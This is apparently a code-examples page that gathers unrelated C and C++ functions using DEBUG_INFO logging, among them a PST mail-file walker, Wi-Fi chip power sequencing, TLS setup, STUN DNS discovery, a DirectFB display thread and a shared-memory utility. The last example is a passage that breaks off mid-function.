Esempio n. 1
0
void process(pst_item *outeritem, pst_desc_tree *d_ptr)
{
    struct file_ll ff;
    pst_item *item = NULL;
    char *result = NULL;
    size_t resultlen = 0;

    DEBUG_ENT("process");
    memset(&ff, 0, sizeof(ff));
    create_enter_dir(&ff, outeritem);

    while (d_ptr) {
        if (!d_ptr->desc) {
            DEBUG_WARN(("ERROR item's desc record is NULL\n"));
            ff.skip_count++;
        }
        else {
            DEBUG_INFO(("Desc Email ID %"PRIx64" [d_ptr->d_id = %"PRIx64"]\n", d_ptr->desc->i_id, d_ptr->d_id));

            item = pst_parse_item(&pstfile, d_ptr, NULL);
            DEBUG_INFO(("About to process item @ %p.\n", item));
            if (item) {
                if (item->message_store) {
                    // there should only be one message_store, and we have already done it
                    DIE(("A second message_store has been found. Sorry, this must be an error.\n"));
                }

                if (item->folder && d_ptr->child) {
                    // if this is a folder, we want to recurse into it
                    pst_convert_utf8(item, &item->file_as);
                    printf("Folder \"%s\"\n", item->file_as.str);
                    process(item, d_ptr->child);

                } else if (item->contact && (item->type == PST_TYPE_CONTACT)) {
                    if (!ff.type) ff.type = item->type;
                    // Process Contact item
                    if (ff.type != PST_TYPE_CONTACT) {
                        DEBUG_INFO(("I have a contact, but the folder isn't a contacts folder. Processing anyway\n"));
                    }
                    printf("Contact");
                    if (item->contact->fullname.str)
                        printf("\t%s", pst_rfc2426_escape(item->contact->fullname.str, &result, &resultlen));
                    printf("\n");

                } else if (item->email && ((item->type == PST_TYPE_NOTE) || (item->type == PST_TYPE_SCHEDULE) || (item->type == PST_TYPE_REPORT))) {
                    if (!ff.type) ff.type = item->type;
                    // Process Email item
                    if ((ff.type != PST_TYPE_NOTE) && (ff.type != PST_TYPE_SCHEDULE) && (ff.type != PST_TYPE_REPORT)) {
                        DEBUG_INFO(("I have an email, but the folder isn't an email folder. Processing anyway\n"));
                    }
                    printf("Email");
                    if (item->email->outlook_sender_name.str)
                        printf("\tFrom: %s", item->email->outlook_sender_name.str);
                    if (item->subject.str)
                        printf("\tSubject: %s", item->subject.str);
                    printf("\n");

                } else if (item->journal && (item->type == PST_TYPE_JOURNAL)) {
                    if (!ff.type) ff.type = item->type;
                    // Process Journal item
                    if (ff.type != PST_TYPE_JOURNAL) {
                        DEBUG_INFO(("I have a journal entry, but folder isn't specified as a journal type. Processing...\n"));
                    }
                    if (item->subject.str)
                        printf("Journal\t%s\n", pst_rfc2426_escape(item->subject.str, &result, &resultlen));

                } else if (item->appointment && (item->type == PST_TYPE_APPOINTMENT)) {
                    char time_buffer[30];
                    if (!ff.type) ff.type = item->type;
                    // Process Calendar Appointment item
                    DEBUG_INFO(("Processing Appointment Entry\n"));
                    if (ff.type != PST_TYPE_APPOINTMENT) {
                        DEBUG_INFO(("I have an appointment, but folder isn't specified as an appointment type. Processing...\n"));
                    }
                    printf("Appointment");
                    if (item->subject.str)
                        printf("\tSUMMARY: %s", pst_rfc2426_escape(item->subject.str, &result, &resultlen));
                    if (item->appointment->start)
                        printf("\tSTART: %s", pst_rfc2445_datetime_format(item->appointment->start, sizeof(time_buffer), time_buffer));
                    if (item->appointment->end)
                        printf("\tEND: %s", pst_rfc2445_datetime_format(item->appointment->end, sizeof(time_buffer), time_buffer));
                    printf("\tALL DAY: %s", (item->appointment->all_day==1 ? "Yes" : "No"));
                    printf("\n");

                } else {
                    ff.skip_count++;
                    DEBUG_INFO(("Unknown item type. %i. Ascii1=\"%s\"\n",
                                      item->type, item->ascii_type));
                }
                pst_freeItem(item);
            } else {
                ff.skip_count++;
                DEBUG_INFO(("A NULL item was seen\n"));
            }
        }
        d_ptr = d_ptr->next;
    }
    close_enter_dir(&ff);
    if (result) free(result);
    DEBUG_RET();
}
Esempio n. 2
0
/***********************************************************************************************************************
Function: DoSrvBusy
Description:
Called By:
Input:
Output:
Return:
Others:
************************************************************************************************************************/
Void  CNetServer::DoSrvBusy(Socket_t sHandle)
{
    DEBUG_INFO("%s %d \n", __FUNCTION__, __LINE__);
    //CSock Sock( fd, false );
    //SendMsg(Sock, L_RCF::MGS_FUNC_SERV_BUSY);
}
Esempio n. 3
0
//
//	Description: 
//		This routine deal with the Power Configuration CMDs parsing for RTL8723/RTL8188E Series IC.
//
//	Assumption:
//		We should follow specific format which was released from HW SD. 
//
//	2011.07.07, added by Roger.
//
unsigned int HalPwrSeqCmdParsing(struct rtl8192cd_priv *priv, unsigned char CutVersion, unsigned char FabVersion, 
							 unsigned char InterfaceType, WLAN_PWR_CFG PwrSeqCmd[])
{
		
	WLAN_PWR_CFG 	PwrCfgCmd = {0};
	unsigned int 		bPollingBit = FALSE;
	unsigned int		AryIdx=0;
	unsigned char		value = 0;
	unsigned int		offset = 0;
	unsigned int 		pollingCount = 0; // polling autoload done.
	unsigned int		maxPollingCnt = 5000;
	
	do {
		PwrCfgCmd=PwrSeqCmd[AryIdx];

		DEBUG_INFO("%s %d, ENTRY, offset:0x%x, cut_msk:0x%x, fab_msk:0x%x, if_msk:0x%x, base:0x%x, cmd:0x%x, msk:0x%x, value:0x%x\n", 
			__FUNCTION__, __LINE__, GET_PWR_CFG_OFFSET(PwrCfgCmd), GET_PWR_CFG_CUT_MASK(PwrCfgCmd), 
			GET_PWR_CFG_FAB_MASK(PwrCfgCmd), GET_PWR_CFG_INTF_MASK(PwrCfgCmd), GET_PWR_CFG_BASE(PwrCfgCmd), 
			GET_PWR_CFG_CMD(PwrCfgCmd), GET_PWR_CFG_MASK(PwrCfgCmd), GET_PWR_CFG_VALUE(PwrCfgCmd));

		//2 Only Handle the command whose FAB, CUT, and Interface are matched
		if((GET_PWR_CFG_FAB_MASK(PwrCfgCmd)&FabVersion)&&
			(GET_PWR_CFG_CUT_MASK(PwrCfgCmd)&CutVersion)&&
			(GET_PWR_CFG_INTF_MASK(PwrCfgCmd)&InterfaceType)) {
			switch(GET_PWR_CFG_CMD(PwrCfgCmd))
			{
			case PWR_CMD_READ:
				DEBUG_INFO("%s %d, PWR_CMD_READ\n", __FUNCTION__, __LINE__);
				break;

			case PWR_CMD_WRITE:
				DEBUG_INFO("%s %d, PWR_CMD_WRITE\n", __FUNCTION__, __LINE__);
				offset = GET_PWR_CFG_OFFSET(PwrCfgCmd);

				//Read the value from system register		
				value = RTL_R8(offset);
				value = value&(~(GET_PWR_CFG_MASK(PwrCfgCmd)));
				value = value|(GET_PWR_CFG_VALUE(PwrCfgCmd)&GET_PWR_CFG_MASK(PwrCfgCmd));

				//Write the value back to sytem register
				RTL_W8(offset, value);
				break;

			case PWR_CMD_POLLING:
				DEBUG_INFO("%s %d, PWR_CMD_POLLING\n", __FUNCTION__, __LINE__);
				bPollingBit = FALSE;					
				offset = GET_PWR_CFG_OFFSET(PwrCfgCmd);				

				do {
					value = RTL_R8(offset);
					value=value&GET_PWR_CFG_MASK(PwrCfgCmd);
					if(value==(GET_PWR_CFG_VALUE(PwrCfgCmd)&GET_PWR_CFG_MASK(PwrCfgCmd)))
						bPollingBit=TRUE;
					else	
						delay_us(10);
					
					if(pollingCount++ > maxPollingCnt){
						DEBUG_WARN("%s %d, PWR_CMD_POLLING, Fail to polling Offset[0x%x]\n", __FUNCTION__, __LINE__, offset);
						return FALSE;
					}
				}while(!bPollingBit);

				break;

			case PWR_CMD_DELAY:
				DEBUG_INFO("%s %d, PWR_CMD_DELAY\n", __FUNCTION__, __LINE__);
				if(GET_PWR_CFG_VALUE(PwrCfgCmd) == PWRSEQ_DELAY_US)
					delay_us(GET_PWR_CFG_OFFSET(PwrCfgCmd));
				else
					delay_us(GET_PWR_CFG_OFFSET(PwrCfgCmd)*1000);
				break; 

			case PWR_CMD_END:
				// When this command is parsed, end the process
				DEBUG_INFO("%s %d, PWR_CMD_END\n", __FUNCTION__, __LINE__);
				return TRUE;
				break;

			default:
				DEBUG_ERR("%s %d, Unknown CMD!!\n", __FUNCTION__, __LINE__);
				break;
			}

		}
		
		AryIdx++;//Add Array Index
	}while(1);

	return TRUE;
}
Esempio n. 4
0
/**
 * Allocate a new TLS context
 *
 * @param tlsp    Pointer to allocated TLS context
 * @param method  TLS method
 * @param keyfile Optional private key file
 * @param pwd     Optional password
 *
 * @return 0 if success, otherwise errorcode
 */
int tls_alloc(struct tls **tlsp, enum tls_method method, const char *keyfile,
	      const char *pwd)
{
	struct tls *tls;
	int r, err;

	if (!tlsp)
		return EINVAL;

	tls = mem_zalloc(sizeof(*tls), destructor);
	if (!tls)
		return ENOMEM;

	if (!tlsg.up) {
#ifdef SIGPIPE
		/* Set up a SIGPIPE handler */
		(void)signal(SIGPIPE, sigpipe_handle);
#endif

		SSL_library_init();
		tlsg.up = true;
	}

	if (tlsg.tlsc++ == 0) {
		DEBUG_INFO("error strings loaded\n");
		SSL_load_error_strings();
	}

	switch (method) {

	case TLS_METHOD_SSLV23:
		tls->ctx = SSL_CTX_new(SSLv23_method());
		break;

#ifdef USE_OPENSSL_DTLS
	case TLS_METHOD_DTLSV1:
		tls->ctx = SSL_CTX_new(DTLSv1_method());
		break;
#endif

	default:
		DEBUG_WARNING("tls method %d not supported\n", method);
		err = ENOSYS;
		goto out;
	}

	if (!tls->ctx) {
		err = ENOMEM;
		goto out;
	}

#if (OPENSSL_VERSION_NUMBER < 0x00905100L)
	SSL_CTX_set_verify_depth(tls->ctx, 1);
#endif

	if (method == TLS_METHOD_DTLSV1) {
		SSL_CTX_set_read_ahead(tls->ctx, 1);
	}

	/* Load our keys and certificates */
	if (keyfile) {
		if (pwd) {
			err = str_dup(&tls->pass, pwd);
			if (err)
				goto out;

			SSL_CTX_set_default_passwd_cb(tls->ctx, password_cb);
			SSL_CTX_set_default_passwd_cb_userdata(tls->ctx, tls);
		}

		r = SSL_CTX_use_certificate_chain_file(tls->ctx, keyfile);
		if (r <= 0) {
			DEBUG_WARNING("Can't read certificate file: %s (%d)\n",
				      keyfile, r);
			err = EINVAL;
			goto out;
		}

		r = SSL_CTX_use_PrivateKey_file(tls->ctx, keyfile,
						SSL_FILETYPE_PEM);
		if (r <= 0) {
			DEBUG_WARNING("Can't read key file: %s (%d)\n",
				      keyfile, r);
			err = EINVAL;
			goto out;
		}
	}

	err = 0;
 out:
	if (err)
		mem_deref(tls);
	else
		*tlsp = tls;

	return err;
}
static gpointer
_do_display(gpointer data) 
{

    DFBResult err;
    DEBUG_INFO("thread _do_display inited");
    MdwDefaultPlayerDisplay* display = (MdwDefaultPlayerDisplay*) data;
    
    g_assert(display != NULL);
    g_assert(display->main_queue != NULL);
    
    gboolean to_exit = FALSE;
    gboolean stopped = FALSE;

    IDirectFBSurface *temp_surface = NULL;
    guint temp_surface_width = 0;
    guint temp_surface_height = 0;

    DEBUG_INFO("thread _do_display: Sinalizing that I'm ready");
    MdwMessage *m = mdw_message_new(MDW_MESSAGE_TYPE_READY, 0);
    mdw_message_put(m, display->main_queue);

    while (to_exit == FALSE) {
        m = mdw_message_get(display->directfb_queue, TRUE);
        switch(m->type) {
            case MDW_MESSAGE_TYPE_UPDATE_POS:
            {
                g_assert(m->size == 0 && m->buffer == NULL);
                g_assert(display->window != NULL);

                err = display->window->MoveTo(display->window, display->x, display->y);
                if (err != DFB_OK) {
                    DEBUG_WARN("Window::MoveTo failed:%s", DirectFBErrorString(err));
                }
                break;
            }
            case MDW_MESSAGE_TYPE_UPDATE_SIZE:
            {
                g_assert(m->size == 0 && m->buffer == NULL);
                g_assert(display->window != NULL);

                err = display->window->Resize(display->window, display->w, display->h);
                if (err != DFB_OK) {
                    DEBUG_WARN("Window::Resize failed:%s", DirectFBErrorString(err));
                }
                if (stopped) {
                    display->surface->Clear(display->surface, 0x30, 0x80, 0x30, 0xFF);
                    display->surface->Flip(display->surface, NULL, 0);
                }

                break;
            }
            case MDW_MESSAGE_TYPE_RAISE_TO_TOP:
            {
                g_assert(m->size == 0 && m->buffer == NULL);
                err = display->window->RaiseToTop(display->window);
                if (err != DFB_OK) {
                    DEBUG_WARN("Window::RaiseToTop failed:%s", DirectFBErrorString(err));
                }
                if (stopped) {
                    display->surface->Clear(display->surface, 0x30, 0x80, 0x30, 0xFF);
                    display->surface->Flip(display->surface, NULL, 0);
                }
                break;
            }
            case MDW_MESSAGE_TYPE_LOWER_TO_BOTTOM:
            {
                g_assert(m->size == 0 && m->buffer == NULL);
                g_assert(display->window != NULL);

                err = display->window->LowerToBottom(display->window);
                if (G_UNLIKELY(err != DFB_OK)) {
                    DEBUG_WARN("Window::LowerToBottom failed:%s", DirectFBErrorString(err));
                }
                break;
            }
            case MDW_MESSAGE_TYPE_FINALIZE:
            {
                g_assert(m->size == 0 && m->buffer == NULL);
                DEBUG_INFO("thread _do_display: request to finalize");
                to_exit = TRUE;
                break;
            }
            case MDW_MESSAGE_TYPE_STOP:
            {
                g_assert(m->size == 0 && m->buffer == NULL);

                stopped = TRUE;
                break;
            }
            case MDW_MESSAGE_TYPE_RESUME:
            {
                g_assert(m->size == 0 && m->buffer == NULL);

                stopped = FALSE;
                break;
            }
            case MDW_MESSAGE_TYPE_DISPLAY_FRAME:
            {
                g_assert(m->size == sizeof(struct picture) && m->buffer != NULL);

                struct picture *p = (struct picture*) m->buffer;
                g_assert(p->data != NULL);
                g_assert(p->width > 0);
                g_assert(p->height > 0);
                g_assert(p->bytes_per_pixel == 4);

                if (stopped != TRUE) {
                    if (G_UNLIKELY(temp_surface == NULL || temp_surface_height != p->height || temp_surface_width != p->width )) {
                        g_assert(display->dfb != NULL);
                        if (G_LIKELY(temp_surface != NULL)) {
                            temp_surface->Release(temp_surface);
                        }
                        temp_surface = _create_surface(display->dfb, p->width, p->height);
                        temp_surface_width = p->width;
                        temp_surface_height = p->height;
                    }
                    if (G_UNLIKELY(temp_surface == NULL)) {
                        goto LABEL_end_of_blit;
                    }
                    g_assert(temp_surface_width > 0);
                    g_assert(temp_surface_height > 0);
                    g_assert(temp_surface != NULL);
                        
                    //guint8* pixels;
                    void *pixels;

                    gint line_pitch;
                    const gint bytes_to_copy = p->width * p->height * p->bytes_per_pixel;

                    err = temp_surface->Lock(temp_surface, DSLF_WRITE, &pixels, &line_pitch);
                    if (G_UNLIKELY(err != DFB_OK)) {
                        DEBUG_WARN("IDirectFBSurface::Lock failed:%s", DirectFBErrorString(err));
                        goto LABEL_end_of_blit;
                    }
                    g_assert(bytes_to_copy == p->height * line_pitch);
                    memcpy(pixels, p->data, bytes_to_copy);
                    err = temp_surface->Unlock(temp_surface);
                    if (G_UNLIKELY(err != DFB_OK)) {
                        DEBUG_WARN("IDirectFBSurface::Unlock failed:%s", DirectFBErrorString(err));
                        goto LABEL_end_of_blit;
                    }
                    err = display->surface->StretchBlit(display->surface, temp_surface, NULL, NULL);
                    if (G_UNLIKELY(err != DFB_OK)) {
                        DEBUG_WARN("IDirectFBSurface::StretchBlit failed:%s", DirectFBErrorString(err));
                        goto LABEL_end_of_blit;
                    }
                    display->surface->Flip(display->surface, NULL, 0);
                    display->frames++;
                }
            LABEL_end_of_blit:
                g_free(p->data);
                break;
            }
            default:
            {
                DEBUG_ERROR("Message of type: %d not allowed", m->type);
                g_assert_not_reached();
                break;
            }

        }
        mdw_message_free(m, TRUE);
    }
    if (temp_surface) {
        temp_surface->Release(temp_surface);
    }

    DEBUG_INFO("thread _do_display dropping %d remaning messages", g_async_queue_length(display->directfb_queue));
    g_async_queue_lock(display->directfb_queue); 
    while((m = mdw_message_get_unlocked(display->directfb_queue, FALSE)) != NULL) {
        mdw_message_free(m, TRUE);
    }
    m = mdw_message_new(MDW_MESSAGE_TYPE_FINALIZED, 0);
    mdw_message_put(m, display->main_queue);
    g_async_queue_unlock(display->directfb_queue); 

    DEBUG_INFO("thread _do_display is down");
    return NULL;

}
Esempio n. 6
0
	virtual ~CTestB() { DEBUG_INFO("func:%s[%d]\n", __FUNCTION__, __LINE__); }
Esempio n. 7
0
int GetModuleInsertedProcess(const char * pPartDll,unsigned int **ppPids,int * pPidsSize)
{
    char *pCmpDllName=NULL;
    std::vector<unsigned int> procvecs;
#ifdef _UNICODE
    int cmpdllnamesize=0;
#endif
    HANDLE hProcSnap=INVALID_HANDLE_VALUE,hModSnap=INVALID_HANDLE_VALUE;
    int ret;
    BOOL bret;
    int numget=0;
    unsigned int *pRetPids = *ppPids;
    unsigned int *pTmpPids=NULL;
    int pidretsize=*pPidsSize;
    PROCESSENTRY32 pentry;
    unsigned int i;

    if(pidretsize == 0 && pRetPids)
    {
        ret = ERROR_INVALID_PARAMETER;
        goto fail;
    }

    hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if(hProcSnap == INVALID_HANDLE_VALUE)
    {
        ret = LAST_ERROR_CODE();
        ERROR_INFO("could not create module32 error(%d)\n",ret);
        goto fail;
    }

    pentry.dwSize = sizeof(pentry);

    bret = Process32First(hProcSnap,&pentry);
    if(!bret)
    {
        ret = LAST_ERROR_CODE();
        ERROR_INFO("could not get process entry error(%d)\n",ret);
        goto fail;
    }


    DEBUG_INFO("Process ID: %d\n", pentry.th32ProcessID);
    ret = __CheckProcessIdModuleInserted(pentry.th32ProcessID,pPartDll);
    if(ret > 0)
    {
        procvecs.push_back(pentry.th32ProcessID);
        numget ++;
    }

    while(Process32Next(hProcSnap,&pentry))
    {
        DEBUG_INFO("Process ID: %d\n",pentry.th32ProcessID);
        ret = __CheckProcessIdModuleInserted(pentry.th32ProcessID,pPartDll);
        if(ret > 0)
        {
            procvecs.push_back(pentry.th32ProcessID);
            numget ++;
        }
    }

    if(procvecs.size() > 0)
    {
        if(pidretsize <(int) procvecs.size())
        {
			pidretsize = procvecs.size();
            pRetPids = (unsigned int*)calloc(sizeof(*pRetPids),pidretsize);
            if(pRetPids == NULL)
            {
                ret = LAST_ERROR_CODE();
                goto fail;
            }
        }
        for(i=0; i<procvecs.size(); i++)
        {
			pRetPids[i] = procvecs[i];
        }
    }

    if(hProcSnap != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hProcSnap);
    }
    hProcSnap = INVALID_HANDLE_VALUE;

    if(pRetPids != *ppPids && *ppPids)
    {
        free(*ppPids);
    }
    *ppPids = pRetPids;
    *pPidsSize = pidretsize;

    procvecs.clear();
    return numget;

fail:
    if(hProcSnap != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hProcSnap);
    }
    hProcSnap = INVALID_HANDLE_VALUE;

    if(pRetPids != *ppPids && pRetPids)
    {
        free(pRetPids);
    }
    pRetPids = NULL;

    procvecs.clear();

    SetLastError(ret);
    return -ret;

}
static void srv_handler(int err, const struct dnshdr *hdr, struct list *ansl,
			struct list *authl, struct list *addl, void *arg)
{
	struct stun_dns *dns = arg;
	struct dnsrr *rr, *arr;

	(void)hdr;
	(void)authl;

	dns_rrlist_sort(ansl, DNS_TYPE_SRV, (size_t)dns->arg);

	/* Find SRV answers */
	rr = dns_rrlist_find(ansl, NULL, DNS_TYPE_SRV, DNS_CLASS_IN, false);
	if (!rr) {
		DEBUG_INFO("no SRV entry, trying A lookup on \"%s\"\n",
			   dns->domain);

		sa_set_in(&dns->srv, 0, dns->port);

		err = a_or_aaaa_query(dns, dns->domain);
		if (err)
			goto out;

		return;
	}

	DEBUG_INFO("SRV answer: %s:%u\n", rr->rdata.srv.target,
		   rr->rdata.srv.port);

	/* Look for Additional information */
	switch (dns->af) {

	case AF_INET:
		arr = dns_rrlist_find(addl, rr->rdata.srv.target,
				      DNS_TYPE_A, DNS_CLASS_IN, true);
		if (arr) {
			sa_set_in(&dns->srv, arr->rdata.a.addr,
				  rr->rdata.srv.port);
			DEBUG_INFO("additional A: %j\n", &dns->srv);
			goto out;
		}
		break;

#ifdef HAVE_INET6
	case AF_INET6:
		arr = dns_rrlist_find(addl, rr->rdata.srv.target,
				      DNS_TYPE_AAAA, DNS_CLASS_IN, true);
		if (arr) {
			sa_set_in6(&dns->srv, arr->rdata.aaaa.addr,
				  rr->rdata.srv.port);
			DEBUG_INFO("additional AAAA: %j\n", &dns->srv);
			goto out;
		}
		break;
#endif
	}

	sa_set_in(&dns->srv, 0, rr->rdata.srv.port);

	err = a_or_aaaa_query(dns, rr->rdata.srv.target);
	if (err) {
		DEBUG_WARNING("SRV: A lookup failed (%m)\n", err);
		goto out;
	}

	DEBUG_INFO("SRV handler: doing A/AAAA lookup..\n");

	return;

 out:
	resolved(dns, err);
}
/**
 * Do a DNS Discovery of a STUN Server
 *
 * @param dnsp    Pointer to allocated DNS Discovery object
 * @param dnsc    DNS Client
 * @param service Name of service to discover (e.g. "stun")
 * @param proto   Transport protocol (e.g. "udp")
 * @param af      Preferred Address Family
 * @param domain  Domain name or IP address of STUN server
 * @param port    Port number (if 0 do SRV lookup)
 * @param dnsh    DNS Response handler
 * @param arg     Handler argument
 *
 * @return 0 if success, otherwise errorcode
 */
int stun_server_discover(struct stun_dns **dnsp, struct dnsc *dnsc,
			 const char *service, const char *proto,
			 int af, const char *domain, uint16_t port,
			 stun_dns_h *dnsh, void *arg)
{
	struct stun_dns *dns;
	int err;

	if (!dnsp || !service || !proto || !domain || !domain[0] || !dnsh)
		return EINVAL;

	dns = mem_zalloc(sizeof(*dns), dnsdisc_destructor);
	if (!dns)
		return ENOMEM;

	dns->port = service[strlen(service)-1] == 's' ? STUNS_PORT : STUN_PORT;
	dns->dnsh = dnsh;
	dns->arg  = arg;
	dns->dnsc = dnsc;
	dns->af   = af;

	/* Numeric IP address - no lookup */
	if (0 == sa_set_str(&dns->srv, domain, port ? port : dns->port)) {

		DEBUG_INFO("IP (%s)\n", domain);

		resolved(dns, 0);
		err = 0;
		goto out; /* free now */
	}
	/* Port specified - use AAAA or A lookup */
	else if (port) {
		sa_set_in(&dns->srv, 0, port);
		DEBUG_INFO("resolving A query: (%s)\n", domain);

		err = a_or_aaaa_query(dns, domain);
		if (err) {
			DEBUG_WARNING("%s: A/AAAA lookup failed (%m)\n",
				      domain, err);
			goto out;
		}
	}
	/* SRV lookup */
	else {
		char q[256];
		str_ncpy(dns->domain, domain, sizeof(dns->domain));
		(void)re_snprintf(q, sizeof(q), "_%s._%s.%s", service, proto,
				  domain);
		DEBUG_INFO("resolving SRV query: (%s)\n", q);
		err = dnsc_query(&dns->dq, dnsc, q, DNS_TYPE_SRV, DNS_CLASS_IN,
				 true, srv_handler, dns);
		if (err) {
			DEBUG_WARNING("%s: SRV lookup failed (%m)\n", q, err);
			goto out;
		}
	}

	*dnsp = dns;

	return 0;

 out:
	mem_deref(dns);
	return err;
}
Esempio n. 10
0
int load_module_dynamic(struct mod **modp, const struct pl *modpath,
			   const struct pl *name)
{
	char file[256];
	struct mod *m = NULL;
	int err = 0;

	if (!name)
		return EINVAL;

	if (re_snprintf(file, sizeof(file), "%r\\%r", modpath, name) < 0) {
		err = ENOMEM;
		goto out;
	}
	err = mod_load(&m, file);
	if (err)
		goto out;

	// set function pointers
    {
		pf_set_mem_alloc_cb pf = (pf_set_mem_alloc_cb)mod_sym(m, "set_mem_alloc_cb");
		if (pf)
			pf(mem_alloc);
	}
	{
		pf_set_mem_deref_cb pf = (pf_set_mem_deref_cb)mod_sym(m, "set_mem_deref_cb");
		if (pf)
			pf(mem_deref);
	}
	{
		pf_set_aucodec_register_cb pf = (pf_set_aucodec_register_cb)mod_sym(m, "set_aucodec_register_cb");
		if (pf)
			pf(aucodec_register);
	}
	{
		pf_set_aucodec_unregister_cb pf = (pf_set_aucodec_unregister_cb)mod_sym(m, "set_aucodec_unregister_cb");
		if (pf)
			pf(aucodec_unregister);
	}

	{
		pf_validate_dll pf = (pf_validate_dll)mod_sym(m, "validate_dll");
		if (pf) {
			int rc = pf();
			if (rc) {
				DEBUG_INFO("Failed to validate dll, rc = %d\n", rc);
				err = ELIBBAD;
				goto out;
			}
		} else {
			DEBUG_INFO("No validate_dll() symbol\n");
			err = ELIBBAD;
			goto out;
        }
	}

	err = mod_call_init(m);
	if (err) {
		goto out;
    }

	if (modp)
		*modp = m;

 out:
	if (err) {
		DEBUG_WARNING("module %r: %m\n", name, err);
	}

	return err;
}
Esempio n. 11
0
int main(int argc, char* argv[])
{
    int ret;
	int i;
    HANDLE hMapFile=NULL;
    unsigned char* pMemBase=NULL;
    FILE* fp=NULL;
	DWORD stick,etick,ctick;

	DEBUG_INFO("\n");
	SDEBUG("\n");
    ParseParam(argc,argv);
	SDEBUG("\n");
	DEBUG_INFO("\n");
    hMapFile = CreateMapFile(st_pShareName,st_MemSize,st_CreateMem);
    if(hMapFile== NULL)
    {
        ret = -(LAST_ERROR_CODE());
		SDEBUG("can not %s %s memsize(%d:0x%x) error(%d)\n",
			st_CreateMem ? "Create" : "Open",st_pShareName,st_MemSize,st_MemSize,ret);
		ERROR_INFO("\n");
        goto out;
    }
	DEBUG_INFO("\n");
	SDEBUG("\n");

    pMemBase = MapFileBuffer(hMapFile,st_MemSize);
    if(pMemBase == NULL)
    {
        ret = -(LAST_ERROR_CODE());
		SDEBUG("\n");
		ERROR_INFO("\n");
        goto out;
    }
	DEBUG_INFO("\n");

    /*now to read from the file*/
    if(st_pFromFile && st_WriteInit)
    {
        ret = fopen_s(&fp,st_pFromFile,"r");
        if(fp == NULL)
        {
            ret = -(LAST_ERROR_CODE());
			ERROR_INFO("\n");
            goto out;
        }

        ret = fread(st_pBuffer,st_BufSize,1,fp);
        if(ret != 1)
        {
            ret = -(LAST_ERROR_CODE());
            fprintf(stderr,"could not read %d from %s (%d)\n",st_BufSize,st_pFromFile,ret);
            goto out;
        }

        ret = WriteShareMem(pMemBase,st_WriteOffset,st_pBuffer,st_BufSize);
        if(ret < 0)
        {
            ret = -(LAST_ERROR_CODE());
            fprintf(stderr,"could not write at offset %d (0x%x) in mem (%d:0x%x) for size(%d:0x%x) error(%d)\n",st_WriteOffset,st_WriteOffset,st_MemSize,st_MemSize,
                    st_BufSize,st_BufSize,ret);
            goto out;
        }
    }
    else if(st_pToFile && st_ReadInit)
    {
        ret = fopen_s(&fp,st_pToFile,"w");
        if(fp == NULL)
        {
            ret = -(LAST_ERROR_CODE());
			ERROR_INFO("\n");
            goto out;
        }

        ret = ReadShareMem(pMemBase,st_ReadOffset,st_pBuffer,st_BufSize);
        if(ret < 0)
        {
            ret = -(LAST_ERROR_CODE());
            fprintf(stderr,"could not read at offset (%d:0x%x) in mem (%d:0x%x) for size(%d:0x%x) error(%d)\n",
                    st_ReadOffset,st_ReadOffset,st_MemSize,st_MemSize,
                    st_BufSize,st_BufSize,ret);
            goto out;
        }

        ret = fwrite(st_pBuffer,st_BufSize,1,fp);
        if(ret != 1)
        {
            ret = -(LAST_ERROR_CODE());
            fprintf(stderr,"could not write %s for size (%d:0x%x) error(%d)\n",st_pToFile,
                    st_BufSize,st_BufSize,ret);
            goto out;
        }
    }
    else if(st_WriteInit)
    {
		ret = WriteShareMem(pMemBase,st_WriteOffset,st_pBuffer,st_BufSize);
		if (ret < 0)
		{
			ret = -(LAST_ERROR_CODE());
			fprintf(stderr,"could not write (%s) at offset (%d:0x%x) in mem (%d:0x%x) for size (%d:0x%x) error (%d)\n",
				st_pShareName,st_WriteOffset,st_WriteOffset,st_MemSize,st_MemSize,st_BufSize,st_BufSize,ret);
			goto out;
		}

		fprintf(stdout,"Write(%s) offset(%d:0x%x):\n",st_pShareName,st_WriteOffset,st_WriteOffset);
		for(i=0;i<st_BufSize;i++)
		{
			if ((i%16)==0)
			{
				fprintf(stdout,"\n0x%08x:\t",i);
			}
			fprintf(stdout," 0x%02x",st_pBuffer[i]);
		}
		fprintf(stdout,"\nsuccess\n");
    }
    else if(st_ReadInit)
    {
		ret=  ReadShareMem(pMemBase,st_ReadOffset,st_pBuffer,st_BufSize);
		if (ret < 0)
		{
			ret = -(LAST_ERROR_CODE());
			fprintf(stderr,"could not read (%s) at offset (%d:0x%x) in mem (%d:0x%x) for size (%d:0x%x) error (%d)\n",
				st_pShareName,st_ReadOffset,st_ReadOffset,st_MemSize,st_MemSize,st_BufSize,st_BufSize,ret);
			goto out;
		}

		fprintf(stdout,"Read(%s) offset(%d:0x%x):\n",st_pShareName,st_ReadOffset,st_ReadOffset);
		for(i=0;i<st_BufSize;i++)
		{
			if ((i%16)==0)
			{
				fprintf(stdout,"\n0x%08x:\t",i);
			}
			fprintf(stdout," 0x%02x",st_pBuffer[i]);
		}
		fprintf(stdout,"\nsuccess\n");
    }

	stick = GetTickCount();
	etick = stick + st_Timeout * 1000;
	ctick = stick;

	while (st_Timeout == 0 || ctick >= etick)
	{
		Sleep(1000);
		ctick = GetTickCount();
	}


    ret = 0;

out:
    if(fp)
    {
        fclose(fp);
    }
    fp = NULL;
    if(pMemBase)
    {
        UnmapViewOfFile(pMemBase);
    }
    pMemBase = NULL;

    if(hMapFile)
    {
        CloseHandle(hMapFile);
    }
    hMapFile = NULL;

    if(st_pBuffer)
    {
        free(st_pBuffer);
    }
    st_pBuffer = NULL;
    st_BufSize = 0;

    return 0;
}
Esempio n. 12
0
// 20-2-2016 添加数据库的相关处理
int proccess_upper_cmpt_discussion_parameter( uint16_t protocol_type, void *data, uint32_t data_len ) //后期可能需要修改11/10。
{
    tcmpt_discuss_parameter qu_dis_para, set_dis_para;
    uint16_t send_data_len = 0; // 协议数据负载的长度
    thost_system_set set_sys; // 系统配置文件的格式

    if ( -1 == system_db_queue_configure_system_table( &set_sys ))
    {   // load from memory(system.dat)
        memcpy( &set_sys, &gset_sys, sizeof(thost_system_set));
    }

    if((protocol_type & CMPT_MSG_TYPE_MARK) == CMPT_MSG_TYPE_QUERY )
    {
        qu_dis_para.chairman_first = set_sys.chman_first ? ENABLE_VAL : FORBID_VAL;
        qu_dis_para.chair_music = set_sys.chman_music ? ENABLE_VAL : FORBID_VAL;
        qu_dis_para.auto_close = set_sys.auto_close ? ENABLE_VAL : FORBID_VAL;
        qu_dis_para.discuss_mode = set_sys.discuss_mode & 0x07;
